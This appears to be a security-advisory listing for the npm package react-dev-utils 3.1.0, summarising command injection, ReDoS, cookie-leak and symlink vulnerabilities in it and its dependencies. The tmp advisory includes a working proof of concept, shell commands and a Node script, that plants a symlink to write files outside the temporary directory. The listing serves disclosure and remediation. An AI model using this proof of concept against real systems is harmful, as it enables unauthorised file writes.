React Dev Utils version 3.1.0 represents a refinement over its predecessor, version 3.0.2, offering developers enhanced tools for building React applications with Webpack. A key area of improvement lies in updated dependencies. Most notably, filesize was updated from version 3.3.0 to 3.5.10 and cross-spawn from 4.0.2 to 5.1.0, while inquirer moved from 3.1.1 to 3.2.1. These upgrades likely bring performance improvements, bug fixes, and potentially new features within those utilities, indirectly benefiting developers using react-dev-utils. This package provides crucial configurations and scripts that simplify the often complex process of setting up a modern React development environment. By abstracting away boilerplate configurations, developers can focus on writing code rather than wrestling with webpack or build-related issues. It equips developers with utilities for tasks like launching development servers, opening browsers, and displaying well-formatted error messages. The inclusion of modules like detect-port-alt ensures a smooth development experience by automatically finding available ports. Moreover, tools for handling file sizes and displaying formatted code frames can aid in debugging. The move to newer versions of its dependencies suggests a commitment to stability and compatibility with the evolving JavaScript ecosystem, which ultimately translates into a more seamless and efficient workflow for React developers.
All the vulnerabilities related to the version 3.1.0 of the package
react-dev-utils on Windows vulnerable to Remote Code Execution
react-dev-utils
on Windows is vulnerable to remote code execution.
Update to one of the following versions, depending on the release line that you are using.
react-dev-utils OS Command Injection in function getProcessForPort
react-dev-utils prior to v11.0.4 exposes a function, getProcessForPort
, where an input argument is concatenated into a command string to be executed. This function is typically used from react-scripts (in Create React App projects), where the usage is safe. Only when this function is manually invoked with user-provided values (ie: by custom code) is there the potential for command injection. If you're consuming it from react-scripts then this issue does not affect you.
tmp allows arbitrary temporary file / directory write via symbolic link dir
parameter
tmp@0.2.3
is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir
parameter.
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
absolute paths are fine as long as they point to a location under the system's default temporary directory.
Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access,
as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because _resolvePath
does not properly handle symbolic link when resolving paths:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
if (name.startsWith(tmpDir)) {
return path.resolve(name);
} else {
return path.resolve(path.join(tmpDir, name));
}
}
If the dir
parameter points to a symlink that resolves to a folder outside the tmpDir
, it's possible to bypass the _assertIsRelative
check used in _assertAndSanitizeOptions
:
// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
if (option === 'name') {
// assert that name is not absolute and does not contain a path
if (path.isAbsolute(name))
throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
// must not fail on valid .<name> or ..<name> or similar such constructs
let basename = path.basename(name);
if (basename === '..' || basename === '.' || basename !== name)
throw new Error(`${option} option must not contain a path, found "${name}".`);
}
else { // if (option === 'dir' || option === 'template') {
// assert that dir or template are relative to tmpDir
if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
}
let resolvedPath = _resolvePath(name, tmpDir); //<---
if (!resolvedPath.startsWith(tmpDir))
throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
}
}
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir
is possible.
Tested on a Linux machine.
tmpDir
that points to a directory outside of itmkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
ls -lha $HOME/mydir1 | grep "tmp-"
node main.js
File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
$HOME/mydir1
(outside the tmpDir
):ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
main.js
// npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
A Potential fix could be to call fs.realpathSync
(or similar) that resolves also symbolic links.
function _resolvePath(name, tmpDir) {
let resolvedPath;
if (name.startsWith(tmpDir)) {
resolvedPath = path.resolve(name);
} else {
resolvedPath = path.resolve(path.join(tmpDir, name));
}
return fs.realpathSync(resolvedPath);
}
Arbitrary temporary file / directory write via symlink
Regular Expression Denial of Service (ReDoS) in cross-spawn
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
Improper Neutralization of Special Elements used in a Command in Shell-quote
The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec()
, an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is [A-z]
instead of the correct [A-Za-z]
. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.
Exposure of Sensitive Information in eventsource
When fetching an url with a link to an external site (Redirect), the users Cookies & Autorisation headers are leaked to the third party application. According to the same-origin-policy, the header should be "sanitized."
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.